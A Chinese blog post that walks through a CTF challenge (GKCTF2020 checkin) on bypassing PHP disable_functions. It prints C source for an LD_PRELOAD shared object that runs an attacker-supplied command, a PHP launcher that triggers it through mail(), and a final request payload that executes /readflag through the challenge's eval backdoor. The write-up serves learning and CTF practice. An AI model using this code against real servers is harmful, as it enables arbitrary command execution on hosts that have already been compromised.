從一道CTF題目學習bypass disable_functions

2021-02-19 白帽子社區


修改&排版 I  偉大寶寶

開始

相信大家遇到過已經到手的webshell不能執行系統命令這種情況。對,這裡我們第一想到的是disablefunction禁用了命令執行函數。今天我們從一道CTF題目學習一下怎麼繞過disablefunction的限制。

首先我們了解一下繞過的具體思路

我們先看下l利用條件

phpinfo():

disable_functions =exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

目標沒安裝 sendmail

通過環境變量 LD_PRELOAD 劫持系統函數(https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

利用 C 語言擴展修飾符 __attribute__((constructor))(GCC 支持class, variable, funciton 屬性,constructor, destructor 分別可以在main() 先後執行,可用於全局資源初始化和回收GCC官方手冊) 的C 函數,內部執行攻擊者指定的代碼,並編譯成共享對象 bypass_disablefunc.so;若它出現在共享對象中時,那麼一旦共享對象被系統加載,立即將執行 __attribute__((constructor)) 修飾的函數。

#define _GNU_SOURCE#include <stdlib.h>#include <stdio.h>#include <string.h>
extern char** environ;__attribute__ ((__constructor__)) void preload (void){// get command line options and argconst char* cmdline = getenv("EVIL_CMDLINE");// unset environment variable LD_PRELOAD.// unsetenv("LD_PRELOAD") no effect on some // distribution (e.g., centos), I need crafty trick.int i;for (i = 0; environ[i]; ++i) {if (strstr(environ[i], "LD_PRELOAD")) { environ[i][0] = '\0';}}

// executive command system(cmdline);}

PHP 的 putenv()函數,設定 LD_PRELOAD(環境變量) 為 bypass_disablefunc.so。

利用 PHP 的 mail()函數,mail() 內部啟動新進程 /usr/sbin/sendmail,因為上一步 LD_PRELOAD(環境變量)的作用,sendmail 調用的void()函數 被優先級更好的 bypass_disablefunc.so 中的同名 getuid() 所劫持。

bypass_disablefunc.php:

<?php    $cmd = $_GET["cmd"];    $out_path = $_GET["outpath"];    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";    putenv("EVIL_CMDLINE=" . $evil_cmdline);    $so_path = $_GET["sopath"];    putenv("LD_PRELOAD=" . $so_path);    mail("", "", "", "");    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";     unlink($out_path);?>

cmd為我們需要執行的系統命令

outpath為我i們執行命令後輸出的路徑

sopath為我們需要加載的指定劫持系統函數的共享對象的絕對路徑

進入正題

題目來源GKCTF2020-checkin題目源碼:

<title>Check_In</title><?php highlight_file(__FILE__);class ClassName{public $code = null;public $decode = null;function __construct(){                $this->code = @$this->x()['Ginkgo'];                $this->decode = @base64_decode( $this->code );@Eval($this->decode);}

public function x(){return $_REQUEST;}}new ClassName();

分析題目

定義了一個 ClassName類,並定義了 $code和 $decode,code為接受我們的參數,decode為把我們接受的參數已base64解密;並把解密後的結果以php代碼來執行並輸出。

這裡我們可以先看下phpinfo(); ?Ginkgo=cGhwaW5mbygpOw== 發現啟用了 disable_functions,不能正常使用系統命令,sendmail為空。

解題思路

因為調用了 eval函數,為了以便於後期操作,我們利用 call_user_func函數,並連接蟻劍。

發現根目錄下的 flag為空,存在 readflag程序,因為無法執行系統命令所以無法進行讀取 flag,所以這裡需要bypass disablefunc。

尋找可寫入權限的目錄,並上傳我們的之前準備好的bypassdisablefunc.so和bypassdisablefunc.php上傳。

上傳後先用include函數包含我們上傳的bypass_disablefunc.php,再次對 我們之前的3個參數進行傳參。

需要我們執行的系統命令

設定執行命令後存儲的絕對路徑

設定加載我們編譯後的共享對象( bypass_disablefunc_x64.so)

最終payload:

?Ginkgo=Y2FsbF91c2VyX2Z1bmMoImFzc2VydCIsJF9HRVRbJ2FhJ10pOw==&aa=include('/var/tmp/bypass_disablefunc.php')&cmd=/readflag&outpath=/tmp/xx&sopath=/var/tmp/bypass_disablefunc_x64.so

結束除了這方法還有幾種方法。因為滿足部分條件的原因我就不一一舉例了。


關於安全方面的文章你可能還想讀

SSTI Bypass 學習 (Python3&jinja2
安恆5月DASCTF部分WEB題解題思路

網鼎杯2020玄武組js_on解題分析

微信號 : baimaoshequ

知乎:白帽子社區




相關焦點

  • disable_functions繞過總結
    基本原理當 disable_functions 禁用了命令執行函數,webshell 無法執行系統命令時,可以通過環境變量 LD_PRELOAD 劫持系統函數,來突破 disable_functions 限制執行作業系統命令3.
  • 通過LD_PRELOAD繞過disable_functions
    當時做這道題目的時候是跟著別人的題解直接套的(一道瘋狂bypass的題目),屬於一知半解的狀態,比賽結束之後又耽擱了一兩天,才有時間總結學習以下這個方式。0x01 學習連結在學習LD_PRELOAD之前需要了解什麼是連結。
  • 一道有意思的CTF題目
    近期在整理題目的時候,發現了一道質量不錯的Web題,出自2019 TMCTF Final,特此記錄一下。信息搜集題目描述:Hack the following server.http://10.0.106.
  • 淺談Bypass disable_function
    本文為看雪論壇優秀文章看雪論壇作者ID:H4ck3R_XiXdisable_functions
  • CTF小白入門學習指南
    CTF的全名是 capture the flag 奪旗錦標賽,一般來說分為解題模式,攻防模式和混合模式,其中解題模式就現在來說搞得比較多,所以就先著重介紹一下解題模式,解題模式這個主要是以解決網絡安全技術問題挑戰題目的分值和時間來進行排名,通常是用來在線的選拔。
  • CTF中常見的PHP漏洞小結
    在做ctf題的時候經常會遇到一些PHP代碼審計的題目,這裡將我遇到過的常見漏洞做一個小結。md5()漏洞  PHP在處理哈希字符串時,會利用」!=」或」==」來對哈希值進行比較,它把每一個以」0E」開頭的哈希值都解釋為0,所以如果兩個不同的密碼經過哈希以後,其哈希值都是以」0E」開頭的,那麼PHP將會認為他們相同,都是0。
  • CTF入門指南 | 內附教程分享
    (推薦資源):http://ctf.idf.cn IDF實驗室,題目非常基礎(推薦)http://www.ichunqiu.com i春秋 有線下決賽題目復現(推薦)http://www.wechall.net/challs 非常入門的國外ctf題庫(推薦)http://canyouhack.ithttp://oj.xctf.org.cn
  • CTF從入門到提升(三)
    3.從基礎題出發 一般都是100,200,最高分在500,600 先把100分的學好,可從實踐,高中的ctf學起,比較簡單,只涉及1,2個點PWN、Reverse偏重對彙編、逆向的理解 對底層理解;Crypto偏重對數學、算法的深入學習 密碼課要深入學;Web偏重對技巧沉澱、快速搜索能力的挑戰 發散思維,對底層只需要了解,代碼原理,關於漏洞點的積累
  • 從一道CTF題目談PHP中的命令執行
    快睡的時候,打開B站發現有位用戶留言,大意就是讓我幫忙看一道題,正好當時有空,於是就打開了他發的連結,代碼如下很明顯是一道PHP代碼審計的題目,而且只需要繞過第三行的if即可進行任意命令執行。解決思路看了代碼之後覺得是道普通的題目,對於/a-zA-Z/這個正則表達式,我們可以利用PHP動態函數的特性,構造出字符串即可。對於想要的字符串,我們可以通過以下三種方式來構造:1.
  • CTF|玩轉RSA加密算法(一)
    3.1 First Blood 已知p、q、e求d題目連結 : http://www.shiyanbar.com/ctf/1828題目:在一次: http://www.shiyanbar.com/ctf/1979題目:Use RSA to find the secret message直接跑上題腳本獲取d:
  • 關於宏的bypass學習
    前言在去年的off大會上安全研究員sevagas做了關於宏繞過ASR的相關議題,本人對此很感興趣,在此記錄一下自己的學習過程。bypassASR基礎繞過我們先導入以下ASR規則:我們以下面的這個宏代碼為例:
  • TISC 2020 CTF 題目分析及writeups
    TISC(The InfoSecurity Challenge) 2020 CTF 一共包含6道題目,主要涉及密碼學
  • 《親愛的熱愛的》裡面韓商言從事的ctf到底是什麼你知道麼?
    《親愛的熱愛的》這部劇熱播以後,李現扮演的男主韓商言從事的ctf這個項目也熱了起來,其實在原著裡面韓商言從事的電競指的是遊戲,並非現在改編的ctf,小說裡面韓商言是《反恐精英》又稱cs的職業選手,曾是當年CS界最有名的solo戰隊唯一投資人兼主力隊員。
  • The establishment of cardiopulmonary bypass(2)
    Although desirable, placement of pursestrings is not an essential maneuver before cannulation, and in the emergent situation cannulae can be placed and held in position to initiate bypass,with placement
  • CTF工具+資源 | 插個眼
    網絡安全諮詢日常生活中的網絡安全案例解析逆向反彙編學習資料
  • CTF題記——計劃第一周
    m0re不急著查列,先看看ctf表中是什麼,username=admin&password=1' ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)#
  • 【多角度訓練】able / disable / ability
    A __________ (disable) is a permanent injury, illness, or physical or mental condition that tends to restrict the way that someone can live their life. 8.
  • 2021暗月滲透測試全棧學習班
    第一天 HTML基礎學習5課01 HTML基礎常用標籤學習02 HTML基礎 form表單與input標籤使用03 HTML基礎 a標籤、img標籤、table表格使用04 HTML基礎單選框、複選框、下拉選擇框、文本域使用05 HTML基礎 列表標籤和框架的使用第二天 div+css學習11課div+css基礎學習01_引用樣式和選擇器的使用div+css基礎學習02_背景 邊框 文字